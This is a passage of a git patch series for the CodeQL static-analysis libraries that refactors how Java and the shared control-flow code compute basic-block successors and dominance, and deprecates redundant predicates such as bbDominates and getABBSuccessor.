bbStrictlyDominates(BasicBlock node) { this.strictlyDominates(node) } /** Holds if this basic block dominates `node`. (This is reflexive.) */ - predicate bbDominates(BasicBlock node) { bbDominates(this, node) } + predicate bbDominates(BasicBlock node) { this.dominates(node) } /** Holds if this basic block strictly post-dominates `node`. */ - predicate bbStrictlyPostDominates(BasicBlock node) { bbStrictlyPostDominates(this, node) } + predicate bbStrictlyPostDominates(BasicBlock node) { this.strictlyPostDominates(node) } /** Holds if this basic block post-dominates `node`. (This is reflexive.) */ - predicate bbPostDominates(BasicBlock node) { bbPostDominates(this, node) } + predicate bbPostDominates(BasicBlock node) { this.postDominates(node) } } /** A basic block that ends in an exit node. */ diff --git a/java/ql/lib/semmle/code/java/controlflow/Dominance.qll b/java/ql/lib/semmle/code/java/controlflow/Dominance.qll index 953bfa12e640..7db312c432b6 100644 --- a/java/ql/lib/semmle/code/java/controlflow/Dominance.qll +++ b/java/ql/lib/semmle/code/java/controlflow/Dominance.qll @@ -8,30 +8,8 @@ import java * Predicates for basic-block-level dominance. */ -/** Entry points for control-flow. */ -private predicate flowEntry(BasicBlock entry) { - exists(Stmt entrystmt | entrystmt = entry.getFirstNode().asStmt() | - exists(Callable c | entrystmt = c.getBody()) - or - // This disjunct is technically superfluous, but safeguards against extractor problems. - entrystmt instanceof BlockStmt and - not exists(entry.getEnclosingCallable()) and - not entrystmt.getParent() instanceof Stmt - ) -} - -/** The successor relation for basic blocks. */ -private predicate bbSucc(BasicBlock pre, BasicBlock post) { post = pre.getABBSuccessor() } - /** The immediate dominance relation for basic blocks. */ -cached -predicate bbIDominates(BasicBlock dom, BasicBlock node) = - idominance(flowEntry/1, bbSucc/2)(_, dom, node) - -/** Holds if the dominance relation is calculated for `bb`. */ -predicate hasDominanceInformation(BasicBlock bb) { - exists(BasicBlock entry | flowEntry(entry) and bbSucc*(entry, bb)) -} +predicate bbIDominates(BasicBlock dom, BasicBlock node) { dom.immediatelyDominates(node) } /** Exit points for basic-block control-flow. */ private predicate bbSink(BasicBlock exit) { exit.getLastNode() instanceof ControlFlow::ExitNode } @@ -78,21 +56,6 @@ predicate dominanceFrontier(BasicBlock x, BasicBlock w) { ) } -/** - * Holds if `(bb1, bb2)` is an edge that dominates `bb2`, that is, all other - * predecessors of `bb2` are dominated by `bb2`. This implies that `bb1` is the - * immediate dominator of `bb2`. - * - * This is a necessary and sufficient condition for an edge to dominate anything, - * and in particular `dominatingEdge(bb1, bb2) and bb2.bbDominates(bb3)` means - * that the edge `(bb1, bb2)` dominates `bb3`. - */ -predicate dominatingEdge(BasicBlock bb1, BasicBlock bb2) { - bbIDominates(bb1, bb2) and - bb1.getABBSuccessor() = bb2 and - forall(BasicBlock pred | pred = bb2.getABBPredecessor() and pred != bb1 | bbDominates(bb2, pred)) -} - /* * Predicates for expression-level dominance. */ diff --git a/java/ql/lib/semmle/code/java/controlflow/Guards.qll b/java/ql/lib/semmle/code/java/controlflow/Guards.qll index ff564b3a4469..93629a9f6fbc 100644 --- a/java/ql/lib/semmle/code/java/controlflow/Guards.qll +++ b/java/ql/lib/semmle/code/java/controlflow/Guards.qll @@ -23,7 +23,7 @@ class ConditionBlock extends BasicBlock { /** Gets a `true`- or `false`-successor of the last node of this basic block. */ BasicBlock getTestSuccessor(boolean testIsTrue) { - result = this.getConditionNode().getABranchSuccessor(testIsTrue) + result.getFirstNode() = this.getConditionNode().getABranchSuccessor(testIsTrue) } /* @@ -300,7 +300,7 @@ private predicate preconditionBranchEdge( ) { conditionCheckArgument(ma, _, branch) and bb1.getLastNode() = ma.getControlFlowNode() and - bb2 = bb1.getLastNode().getANormalSuccessor() + bb2.getFirstNode() = bb1.getLastNode().getANormalSuccessor() } private predicate preconditionControls(MethodCall ma, BasicBlock controlled, boolean branch) { diff --git a/java/ql/lib/semmle/code/java/controlflow/SuccessorType.qll b/java/ql/lib/semmle/code/java/controlflow/SuccessorType.qll new file mode 100644 index 000000000000..323d571e6e01 --- /dev/null +++ b/java/ql/lib/semmle/code/java/controlflow/SuccessorType.qll @@ -0,0 +1,25 @@ +import java +private import codeql.util.Boolean + +private newtype TSuccessorType = + TNormalSuccessor() or + TBooleanSuccessor(Boolean branch) or + TExceptionSuccessor() + +class SuccessorType extends TSuccessorType { + string toString() { result = "SuccessorType" } +} + +class NormalSuccessor extends SuccessorType, TNormalSuccessor { } + +class ExceptionSuccessor extends SuccessorType, TExceptionSuccessor { } + +class ConditionalSuccessor extends SuccessorType, TBooleanSuccessor { + boolean getValue() { this = TBooleanSuccessor(result) } +} + +class BooleanSuccessor = ConditionalSuccessor; + +class NullnessSuccessor extends ConditionalSuccessor { + NullnessSuccessor() { none() } +} diff --git a/java/ql/lib/semmle/code/java/controlflow/internal/GuardsLogic.qll b/java/ql/lib/semmle/code/java/controlflow/internal/GuardsLogic.qll index 9fed7516ba31..9f7b88f9af11 100644 --- a/java/ql/lib/semmle/code/java/controlflow/internal/GuardsLogic.qll +++ b/java/ql/lib/semmle/code/java/controlflow/internal/GuardsLogic.qll @@ -290,10 +290,10 @@ private predicate guardImpliesEqual(Guard guard, boolean branch, SsaVariable v, ) } -private ControlFlowNode getAGuardBranchSuccessor(Guard g, boolean branch) { - result = g.(Expr).getControlFlowNode().(ConditionNode).getABranchSuccessor(branch) +private BasicBlock getAGuardBranchSuccessor(Guard g, boolean branch) { + result.getFirstNode() = g.(Expr).getControlFlowNode().(ConditionNode).getABranchSuccessor(branch) or - result = g.(SwitchCase).getControlFlowNode() and branch = true + result.getFirstNode() = g.(SwitchCase).getControlFlowNode() and branch = true } /** diff --git a/java/ql/lib/semmle/code/java/dataflow/Nullness.qll b/java/ql/lib/semmle/code/java/dataflow/Nullness.qll index 17f1b4ae7021..757720b9ae8d 100644 --- a/java/ql/lib/semmle/code/java/dataflow/Nullness.qll +++ b/java/ql/lib/semmle/code/java/dataflow/Nullness.qll @@ -299,8 +299,8 @@ private predicate leavingFinally(BasicBlock bb1, BasicBlock bb2, boolean normale exists(TryStmt try, BlockStmt finally | try.getFinally() = finally and bb1.getABBSuccessor() = bb2 and - bb1.getEnclosingStmt().getEnclosingStmt*() = finally and - not bb2.getEnclosingStmt().getEnclosingStmt*() = finally and + bb1.getFirstNode().getEnclosingStmt().getEnclosingStmt*() = finally and + not bb2.getFirstNode().getEnclosingStmt().getEnclosingStmt*() = finally and if bb1.getLastNode().getANormalSuccessor() = bb2.getFirstNode() then normaledge = true else normaledge = false diff --git a/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll b/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll index b67dc2ba08de..499d27b594d0 100644 --- a/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll +++ b/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll @@ -215,7 +215,7 @@ module Sem implements Semantic { private predicate idOfAst(ExprParent x, int y) = equivalenceRelation(id/2)(x, y) - private predicate idOf(BasicBlock x, int y) { idOfAst(x.getAstNode(), y) } + private predicate idOf(BasicBlock x, int y) { idOfAst(x.getFirstNode().getAstNode(), y) } int getBlockId1(BasicBlock bb) { idOf(bb, result) } diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll b/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll index eeac19e66a74..3ce4fbcce9ff 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll @@ -145,7 +145,7 @@ private module BaseSsaImpl { /** Holds if `v` has an implicit definition at the entry, `b`, of the callable. */ predicate hasEntryDef(BaseSsaSourceVariable v, BasicBlock b) { exists(LocalScopeVariable l, Callable c | - v = TLocalVar(c, l) and c.getBody().getControlFlowNode() = b + v = TLocalVar(c, l) and c.getBody().getBasicBlock() = b | l instanceof Parameter or l.getCallable() != c diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll index b5a42a975699..26342debbb05 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll @@ -144,13 +144,13 @@ private predicate certainVariableUpdate(TrackedVar v, ControlFlowNode n, BasicBl pragma[nomagic] private predicate hasEntryDef(TrackedVar v, BasicBlock b) { exists(LocalScopeVariable l, Callable c | - v = TLocalVar(c, l) and c.getBody().getControlFlowNode() = b + v = TLocalVar(c, l) and c.getBody().getBasicBlock() = b | l instanceof Parameter or l.getCallable() != c ) or - v instanceof SsaSourceField and v.getEnclosingCallable().getBody().getControlFlowNode() = b + v instanceof SsaSourceField and v.getEnclosingCallable().getBody().getBasicBlock() = b } /** Holds if `n` might update the locally tracked variable `v`. */ diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SsaReadPositionSpecific.qll b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SsaReadPositionSpecific.qll index 8712ad635f5c..9b081150e893 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SsaReadPositionSpecific.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SsaReadPositionSpecific.qll @@ -19,7 +19,7 @@ private predicate id(BB::ExprParent x, BB::ExprParent y) { x = y } private predicate idOfAst(BB::ExprParent x, int y) = equivalenceRelation(id/2)(x, y) -private predicate idOf(BasicBlock x, int y) { idOfAst(x.getAstNode(), y) } +private predicate idOf(BasicBlock x, int y) { idOfAst(x.getFirstNode().getAstNode(), y) } private int getId(BasicBlock bb) { idOf(bb, result) } diff --git a/java/ql/lib/semmle/code/java/security/Validation.qll b/java/ql/lib/semmle/code/java/security/Validation.qll index 50f0a9aab1b6..13df6fe49c74 100644 --- a/java/ql/lib/semmle/code/java/security/Validation.qll +++ b/java/ql/lib/semmle/code/java/security/Validation.qll @@ -40,7 +40,7 @@ private predicate validatedAccess(VarAccess va) { guardcall.getControlFlowNode() = node | exists(BasicBlock succ | - succ = node.getANormalSuccessor() and + succ.getFirstNode() = node.getANormalSuccessor() and dominatingEdge(node.getBasicBlock(), succ) and succ.bbDominates(va.getBasicBlock()) ) diff --git a/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql b/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql index 73c66c664f1a..cc6c3d816cee 100644 --- a/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql +++ b/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql @@ -99,8 +99,8 @@ predicate failedLock(LockType t, BasicBlock lockblock, BasicBlock exblock) { ) ) and ( - lock.getAnExceptionSuccessor() = exblock or - lock.(ConditionNode).getAFalseSuccessor() = exblock + lock.getAnExceptionSuccessor() = exblock.getFirstNode() or + lock.(ConditionNode).getAFalseSuccessor() = exblock.getFirstNode() ) ) } @@ -113,7 +113,7 @@ predicate heldByCurrentThreadCheck(LockType t, BasicBlock checkblock, BasicBlock exists(ConditionBlock conditionBlock | conditionBlock.getCondition() = t.getIsHeldByCurrentThreadAccess() | - conditionBlock.getBasicBlock() = checkblock and + conditionBlock = checkblock and conditionBlock.getTestSuccessor(false) = falsesucc ) } @@ -133,7 +133,7 @@ predicate variableLockStateCheck(LockType t, BasicBlock checkblock, BasicBlock f conditionBlock.getTestSuccessor(true) = t.getUnlockAccess().getBasicBlock() and conditionBlock.getCondition() = v | - conditionBlock.getBasicBlock() = checkblock and + conditionBlock = checkblock and conditionBlock.getTestSuccessor(false) = falsesucc ) } diff --git a/shared/controlflow/codeql/controlflow/BasicBlock.qll b/shared/controlflow/codeql/controlflow/BasicBlock.qll index 74dc8ca5f512..fa7fcce65480 100644 --- a/shared/controlflow/codeql/controlflow/BasicBlock.qll +++ b/shared/controlflow/codeql/controlflow/BasicBlock.qll @@ -51,8 +51,6 @@ signature module InputSig { module Make Input> { private import Input - final class BasicBlock = BasicBlockImpl; - private Node nodeGetAPredecessor(Node node, SuccessorType s) { nodeGetASuccessor(result, s) = node } @@ -67,7 +65,7 @@ module Make Input> { * A basic block, that is, a maximal straight-line sequence of control flow nodes * without branches or joins. */ - private class BasicBlockImpl extends TBasicBlockStart { + final class BasicBlock extends TBasicBlockStart { /** Gets the CFG scope of this basic block. */ CfgScope getScope() { result = nodeGetCfgScope(this.getFirstNode()) } @@ -259,6 +257,10 @@ module Make Input> { * only be reached from the entry block by going through `(bb1, bb2)`. This * implies that `(bb1, bb2)` dominates its endpoint `bb2`. I.e., `bb2` can * only be reached from the entry block by going via `(bb1, bb2)`. + * + * This is a necessary and sufficient condition for an edge to dominate anything, + * and in particular `dominatingEdge(bb1, bb2) and bb2.dominates(bb3)` means + * that the edge `(bb1, bb2)` dominates `bb3`. */ pragma[nomagic] predicate dominatingEdge(BasicBlock bb1, BasicBlock bb2) { From 13c5906e7ec465424a92b341a0b8b3ee4acba62b Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 16 May 2025 11:31:40 +0200 Subject: [PATCH 251/535] Shared: Refactor the shared BasicBlock lib slightly and cache the successor relation. --- .../codeql/controlflow/BasicBlock.qll | 37 ++++++++++--------- 1 file changed, 20 insertions(+), 17 deletions(-) diff --git a/shared/controlflow/codeql/controlflow/BasicBlock.qll b/shared/controlflow/codeql/controlflow/BasicBlock.qll index fa7fcce65480..d5cda7b910b9 100644 --- a/shared/controlflow/codeql/controlflow/BasicBlock.qll +++ b/shared/controlflow/codeql/controlflow/BasicBlock.qll @@ -51,16 +51,6 @@ signature module InputSig { module Make Input> { private import Input - private Node nodeGetAPredecessor(Node node, SuccessorType s) { - nodeGetASuccessor(result, s) = node - } - - /** Holds if this node has more than one predecessor. */ - private predicate nodeIsJoin(Node node) { strictcount(nodeGetAPredecessor(node, _)) > 1 } - - /** Holds if this node has more than one successor. */ - private predicate nodeIsBranch(Node node) { strictcount(nodeGetASuccessor(node, _)) > 1 } - /** * A basic block, that is, a maximal straight-line sequence of control flow nodes * without branches or joins. @@ -76,9 +66,7 @@ module Make Input> { BasicBlock getASuccessor() { result = this.getASuccessor(_) } /** Gets an immediate successor of this basic block of a given type, if any. */ - BasicBlock getASuccessor(SuccessorType t) { - result.getFirstNode() = nodeGetASuccessor(this.getLastNode(), t) - } + BasicBlock getASuccessor(SuccessorType t) { bbSuccessor(this, result, t) } /** Gets an immediate predecessor of this basic block, if any. */ BasicBlock getAPredecessor() { result.getASuccessor(_) = this } @@ -287,6 +275,16 @@ module Make Input> { cached private module Cached { + private Node nodeGetAPredecessor(Node node, SuccessorType s) { + nodeGetASuccessor(result, s) = node + } + + /** Holds if this node has more than one predecessor. */ + private predicate nodeIsJoin(Node node) { strictcount(nodeGetAPredecessor(node, _)) > 1 } + + /** Holds if this node has more than one successor. */ + private predicate nodeIsBranch(Node node) { strictcount(nodeGetASuccessor(node, _)) > 1 } + /** * Internal representation of basic blocks. A basic block is represented * by its first CFG node. @@ -343,11 +341,19 @@ module Make Input> { cached Node getNode(BasicBlock bb, int pos) { bbIndex(bb.getFirstNode(), result, pos) } + /** Holds if `bb` is an entry basic block. */ + private predicate entryBB(BasicBlock bb) { nodeIsDominanceEntry(bb.getFirstNode()) } + + cached + predicate bbSuccessor(BasicBlock bb1, BasicBlock bb2, SuccessorType t) { + bb2.getFirstNode() = nodeGetASuccessor(bb1.getLastNode(), t) + } + /** * Holds if the first node of basic block `succ` is a control flow * successor of the last node of basic block `pred`. */ - private predicate succBB(BasicBlock pred, BasicBlock succ) { pred.getASuccessor(_) = succ } + private predicate succBB(BasicBlock pred, BasicBlock succ) { bbSuccessor(pred, succ, _) } /** Holds if `dom` is an immediate dominator of `bb`. */ cached @@ -367,7 +373,4 @@ module Make Input> { } private import Cached - - /** Holds if `bb` is an entry basic block. */ - private predicate entryBB(BasicBlock bb) { nodeIsDominanceEntry(bb.getFirstNode()) } } From db01828717677ef185a79c44916028d87dd03aca Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 16 May 2025 11:46:22 +0200 Subject: [PATCH 252/535] Java: Deprecate redundant basic block predicates. --- .../new/internal/semantic/SemanticCFG.qll | 2 +- .../code/java/controlflow/BasicBlocks.qll | 48 +++++++++---- .../code/java/controlflow/Dominance.qll | 71 ++++++++++++------- .../semmle/code/java/controlflow/Guards.qll | 6 +- .../semmle/code/java/controlflow/Paths.qll | 10 +-- .../java/controlflow/UnreachableBlocks.qll | 7 +- .../java/controlflow/internal/GuardsLogic.qll | 6 +- .../semmle/code/java/dataflow/Nullness.qll | 4 +- .../code/java/dataflow/RangeAnalysis.qll | 2 +- .../semmle/code/java/dataflow/TypeFlow.qll | 6 +- .../code/java/dataflow/internal/BaseSSA.qll | 5 +- .../dataflow/internal/DataFlowPrivate.qll | 8 +-- .../java/dataflow/internal/DataFlowUtil.qll | 6 +- .../code/java/dataflow/internal/SsaImpl.qll | 5 +- ...droidWebViewCertificateValidationQuery.qll | 2 +- .../code/java/security/PathSanitizer.qll | 2 +- .../code/java/security/UrlForwardQuery.qll | 2 +- .../semmle/code/java/security/Validation.qll | 4 +- .../Likely Bugs/Concurrency/UnreleasedLock.ql | 4 +- .../Likely Typos/NestedLoopsSameVariable.ql | 2 +- .../Dead Code/DeadLocals.qll | 2 +- .../Declarations/Common.qll | 2 +- .../meta/ssa/UseWithoutUniqueSsaVariable.ql | 2 +- .../controlflow/basic/bbStrictDominance.ql | 4 +- .../controlflow/basic/bbSuccessor.ql | 4 +- .../controlflow/dominance/dominanceWrong.ql | 2 +- .../controlflow/basic/bbStrictDominance.ql | 4 +- .../controlflow/basic/bbSuccessor.ql | 4 +- .../controlflow/dominance/dominanceWrong.ql | 2 +- .../controlflow/basic/bbStrictDominance.ql | 4 +- .../controlflow/basic/bbSuccessor.ql | 4 +- .../controlflow/dominance/dominanceWrong.ql | 2 +- .../codeql/rangeanalysis/RangeAnalysis.qll | 2 +- .../rangeanalysis/internal/RangeUtils.qll | 4 +- 34 files changed, 142 insertions(+), 102 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticCFG.qll b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticCFG.qll index 5123434a35c8..8f164aa1b697 100644 --- a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticCFG.qll +++ b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticCFG.qll @@ -10,7 +10,7 @@ private import SemanticExprSpecific::SemanticExprConfig as Specific */ class SemBasicBlock extends Specific::BasicBlock { /** Holds if this block (transitively) dominates `otherblock`. */ - final predicate bbDominates(SemBasicBlock otherBlock) { Specific::bbDominates(this, otherBlock) } + final predicate dominates(SemBasicBlock otherBlock) { Specific::bbDominates(this, otherBlock) } /** Gets an expression that is evaluated in this basic block. */ final SemExpr getAnExpr() { result.getBasicBlock() = this } diff --git a/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll b/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll index 7521d627742c..60fa976ef68d 100644 --- a/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll +++ b/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll @@ -79,23 +79,47 @@ class BasicBlock extends BbImpl::BasicBlock { /** Gets the immediately enclosing callable whose body contains this node. */ Callable getEnclosingCallable() { result = this.getScope() } - /** Gets an immediate successor of this basic block. */ - BasicBlock getABBSuccessor() { result = this.getASuccessor() } + /** + * DEPRECATED: Use `getASuccessor` instead. + * + * Gets an immediate successor of this basic block. + */ + deprecated BasicBlock getABBSuccessor() { result = this.getASuccessor() } - /** Gets an immediate predecessor of this basic block. */ - BasicBlock getABBPredecessor() { result.getABBSuccessor() = this } + /** + * DEPRECATED: Use `getAPredecessor` instead. + * + * Gets an immediate predecessor of this basic block. + */ + deprecated BasicBlock getABBPredecessor() { result.getASuccessor() = this } - /** Holds if this basic block strictly dominates `node`. */ - predicate bbStrictlyDominates(BasicBlock node) { this.strictlyDominates(node) } + /** + * DEPRECATED: Use `strictlyDominates` instead. + * + * Holds if this basic block strictly dominates `node`. + */ + deprecated predicate bbStrictlyDominates(BasicBlock node) { this.strictlyDominates(node) } - /** Holds if this basic block dominates `node`. (This is reflexive.) */ - predicate bbDominates(BasicBlock node) { this.dominates(node) } + /** + * DEPRECATED: Use `dominates` instead. + * + * Holds if this basic block dominates `node`. (This is reflexive.) + */ + deprecated predicate bbDominates(BasicBlock node) { this.dominates(node) } - /** Holds if this basic block strictly post-dominates `node`. */ - predicate bbStrictlyPostDominates(BasicBlock node) { this.strictlyPostDominates(node) } + /** + * DEPRECATED: Use `strictlyPostDominates` instead. + * + * Holds if this basic block strictly post-dominates `node`. + */ + deprecated predicate bbStrictlyPostDominates(BasicBlock node) { this.strictlyPostDominates(node) } - /** Holds if this basic block post-dominates `node`. (This is reflexive.) */ - predicate bbPostDominates(BasicBlock node) { this.postDominates(node) } + /** + * DEPRECATED: Use `postDominates` instead. + * + * Holds if this basic block post-dominates `node`. (This is reflexive.) + */ + deprecated predicate bbPostDominates(BasicBlock node) { this.postDominates(node) } } /** A basic block that ends in an exit node. */ diff --git a/java/ql/lib/semmle/code/java/controlflow/Dominance.qll b/java/ql/lib/semmle/code/java/controlflow/Dominance.qll index 7db312c432b6..6f0cb3d255c5 100644 --- a/java/ql/lib/semmle/code/java/controlflow/Dominance.qll +++ b/java/ql/lib/semmle/code/java/controlflow/Dominance.qll @@ -8,51 +8,72 @@ import java * Predicates for basic-block-level dominance. */ -/** The immediate dominance relation for basic blocks. */ -predicate bbIDominates(BasicBlock dom, BasicBlock node) { dom.immediatelyDominates(node) } +/** + * DEPRECATED: Use `BasicBlock::immediatelyDominates` instead. + * + * The immediate dominance relation for basic blocks. + */ +deprecated predicate bbIDominates(BasicBlock dom, BasicBlock node) { + dom.immediatelyDominates(node) +} /** Exit points for basic-block control-flow. */ private predicate bbSink(BasicBlock exit) { exit.getLastNode() instanceof ControlFlow::ExitNode } /** Reversed `bbSucc`. */ -private predicate bbPred(BasicBlock post, BasicBlock pre) { post = pre.getABBSuccessor() } +private predicate bbPred(BasicBlock post, BasicBlock pre) { post = pre.getASuccessor() } /** The immediate post-dominance relation on basic blocks. */ -cached -predicate bbIPostDominates(BasicBlock dominator, BasicBlock node) = +deprecated predicate bbIPostDominates(BasicBlock dominator, BasicBlock node) = idominance(bbSink/1, bbPred/2)(_, dominator, node) -/** Holds if `dom` strictly dominates `node`. */ -predicate bbStrictlyDominates(BasicBlock dom, BasicBlock node) { bbIDominates+(dom, node) } - -/** Holds if `dom` dominates `node`. (This is reflexive.) */ -predicate bbDominates(BasicBlock dom, BasicBlock node) { - bbStrictlyDominates(dom, node) or dom = node +/** + * DEPRECATED: Use `BasicBlock::strictlyDominates` instead. + * + * Holds if `dom` strictly dominates `node`. + */ +deprecated predicate bbStrictlyDominates(BasicBlock dom, BasicBlock node) { + dom.strictlyDominates(node) } -/** Holds if `dom` strictly post-dominates `node`. */ -predicate bbStrictlyPostDominates(BasicBlock dom, BasicBlock node) { bbIPostDominates+(dom, node) } +/** + * DEPRECATED: Use `BasicBlock::dominates` instead. + * + * Holds if `dom` dominates `node`. (This is reflexive.) + */ +deprecated predicate bbDominates(BasicBlock dom, BasicBlock node) { dom.dominates(node) } -/** Holds if `dom` post-dominates `node`. (This is reflexive.) */ -predicate bbPostDominates(BasicBlock dom, BasicBlock node) { - bbStrictlyPostDominates(dom, node) or dom = node +/** + * DEPRECATED: Use `BasicBlock::strictlyPostDominates` instead. + * + * Holds if `dom` strictly post-dominates `node`. + */ +deprecated predicate bbStrictlyPostDominates(BasicBlock dom, BasicBlock node) { + dom.strictlyPostDominates(node) } +/** + * DEPRECATED: Use `BasicBlock::postDominates` instead. + * + * Holds if `dom` post-dominates `node`. (This is reflexive.) + */ +deprecated predicate bbPostDominates(BasicBlock dom, BasicBlock node) { dom.postDominates(node) } + /** * The dominance frontier relation for basic blocks. * * This is equivalent to: * * ``` - * bbDominates(x, w.getABBPredecessor()) and not bbStrictlyDominates(x, w) + * x.dominates(w.getAPredecessor()) and not x.strictlyDominates(w) * ``` */ predicate dominanceFrontier(BasicBlock x, BasicBlock w) { - x = w.getABBPredecessor() and not bbIDominates(x, w) + x = w.getAPredecessor() and not x.immediatelyDominates(w) or exists(BasicBlock prev | dominanceFrontier(prev, w) | - bbIDominates(x, prev) and - not bbIDominates(x, w) + x.immediatelyDominates(prev) and + not x.immediatelyDominates(w) ) } @@ -65,7 +86,7 @@ predicate iDominates(ControlFlowNode dominator, ControlFlowNode node) { exists(BasicBlock bb, int i | dominator = bb.getNode(i) and node = bb.getNode(i + 1)) or exists(BasicBlock dom, BasicBlock bb | - bbIDominates(dom, bb) and + dom.immediatelyDominates(bb) and dominator = dom.getLastNode() and node = bb.getFirstNode() ) @@ -75,7 +96,7 @@ predicate iDominates(ControlFlowNode dominator, ControlFlowNode node) { pragma[inline] predicate strictlyDominates(ControlFlowNode dom, ControlFlowNode node) { // This predicate is gigantic, so it must be inlined. - bbStrictlyDominates(dom.getBasicBlock(), node.getBasicBlock()) + dom.getBasicBlock().strictlyDominates(node.getBasicBlock()) or exists(BasicBlock b, int i, int j | dom = b.getNode(i) and node = b.getNode(j) and i < j) } @@ -84,7 +105,7 @@ predicate strictlyDominates(ControlFlowNode dom, ControlFlowNode node) { pragma[inline] predicate dominates(ControlFlowNode dom, ControlFlowNode node) { // This predicate is gigantic, so it must be inlined. - bbStrictlyDominates(dom.getBasicBlock(), node.getBasicBlock()) + dom.getBasicBlock().strictlyDominates(node.getBasicBlock()) or exists(BasicBlock b, int i, int j | dom = b.getNode(i) and node = b.getNode(j) and i <= j) } @@ -93,7 +114,7 @@ predicate dominates(ControlFlowNode dom, ControlFlowNode node) { pragma[inline] predicate strictlyPostDominates(ControlFlowNode dom, ControlFlowNode node) { // This predicate is gigantic, so it must be inlined. - bbStrictlyPostDominates(dom.getBasicBlock(), node.getBasicBlock()) + dom.getBasicBlock().strictlyPostDominates(node.getBasicBlock()) or exists(BasicBlock b, int i, int j | dom = b.getNode(i) and node = b.getNode(j) and i > j) } @@ -102,7 +123,7 @@ predicate strictlyPostDominates(ControlFlowNode dom, ControlFlowNode node) { pragma[inline] predicate postDominates(ControlFlowNode dom, ControlFlowNode node) { // This predicate is gigantic, so it must be inlined. - bbStrictlyPostDominates(dom.getBasicBlock(), node.getBasicBlock()) + dom.getBasicBlock().strictlyPostDominates(node.getBasicBlock()) or exists(BasicBlock b, int i, int j | dom = b.getNode(i) and node = b.getNode(j) and i >= j) } diff --git a/java/ql/lib/semmle/code/java/controlflow/Guards.qll b/java/ql/lib/semmle/code/java/controlflow/Guards.qll index 93629a9f6fbc..99a832c08a8f 100644 --- a/java/ql/lib/semmle/code/java/controlflow/Guards.qll +++ b/java/ql/lib/semmle/code/java/controlflow/Guards.qll @@ -68,7 +68,7 @@ class ConditionBlock extends BasicBlock { exists(BasicBlock succ | succ = this.getTestSuccessor(testIsTrue) and dominatingEdge(this, succ) and - succ.bbDominates(controlled) + succ.dominates(controlled) ) } } @@ -287,7 +287,7 @@ private predicate switchCaseControls(SwitchCase sc, BasicBlock bb) { // Pattern cases are handled as condition blocks not sc instanceof PatternCase and caseblock.getFirstNode() = sc.getControlFlowNode() and - caseblock.bbDominates(bb) and + caseblock.dominates(bb) and // Check we can't fall through from a previous block: forall(ControlFlowNode pred | pred = sc.getControlFlowNode().getAPredecessor() | isNonFallThroughPredecessor(sc, pred) @@ -307,7 +307,7 @@ private predicate preconditionControls(MethodCall ma, BasicBlock controlled, boo exists(BasicBlock check, BasicBlock succ | preconditionBranchEdge(ma, check, succ, branch) and dominatingEdge(check, succ) and - succ.bbDominates(controlled) + succ.dominates(controlled) ) } diff --git a/java/ql/lib/semmle/code/java/controlflow/Paths.qll b/java/ql/lib/semmle/code/java/controlflow/Paths.qll index 5a06a3a1ee5d..8f87e19404a6 100644 --- a/java/ql/lib/semmle/code/java/controlflow/Paths.qll +++ b/java/ql/lib/semmle/code/java/controlflow/Paths.qll @@ -47,7 +47,7 @@ private predicate callAlwaysPerformsAction(Call call, ActionConfiguration conf) private predicate actionDominatesExit(Callable callable, ActionConfiguration conf) { exists(ExitBlock exit | exit.getEnclosingCallable() = callable and - actionBlock(conf).bbDominates(exit) + actionBlock(conf).dominates(exit) ) } @@ -56,12 +56,12 @@ private BasicBlock nonDominatingActionBlock(ActionConfiguration conf) { exists(ExitBlock exit | result = actionBlock(conf) and exit.getEnclosingCallable() = result.getEnclosingCallable() and - not result.bbDominates(exit) + not result.dominates(exit) ) } private class JoinBlock extends BasicBlock { - JoinBlock() { 2 <= strictcount(this.getABBPredecessor()) } + JoinBlock() { 2 <= strictcount(this.getAPredecessor()) } } /** @@ -72,8 +72,8 @@ private predicate postActionBlock(BasicBlock bb, ActionConfiguration conf) { bb = nonDominatingActionBlock(conf) or if bb instanceof JoinBlock - then forall(BasicBlock pred | pred = bb.getABBPredecessor() | postActionBlock(pred, conf)) - else postActionBlock(bb.getABBPredecessor(), conf) + then forall(BasicBlock pred | pred = bb.getAPredecessor() | postActionBlock(pred, conf)) + else postActionBlock(bb.getAPredecessor(), conf) } /** Holds if every path through `callable` goes through at least one action node. */ diff --git a/java/ql/lib/semmle/code/java/controlflow/UnreachableBlocks.qll b/java/ql/lib/semmle/code/java/controlflow/UnreachableBlocks.qll index 7bcc732de6a0..0ade780bc00c 100644 --- a/java/ql/lib/semmle/code/java/controlflow/UnreachableBlocks.qll +++ b/java/ql/lib/semmle/code/java/controlflow/UnreachableBlocks.qll @@ -209,7 +209,7 @@ class UnreachableBasicBlock extends BasicBlock { or // This block is not 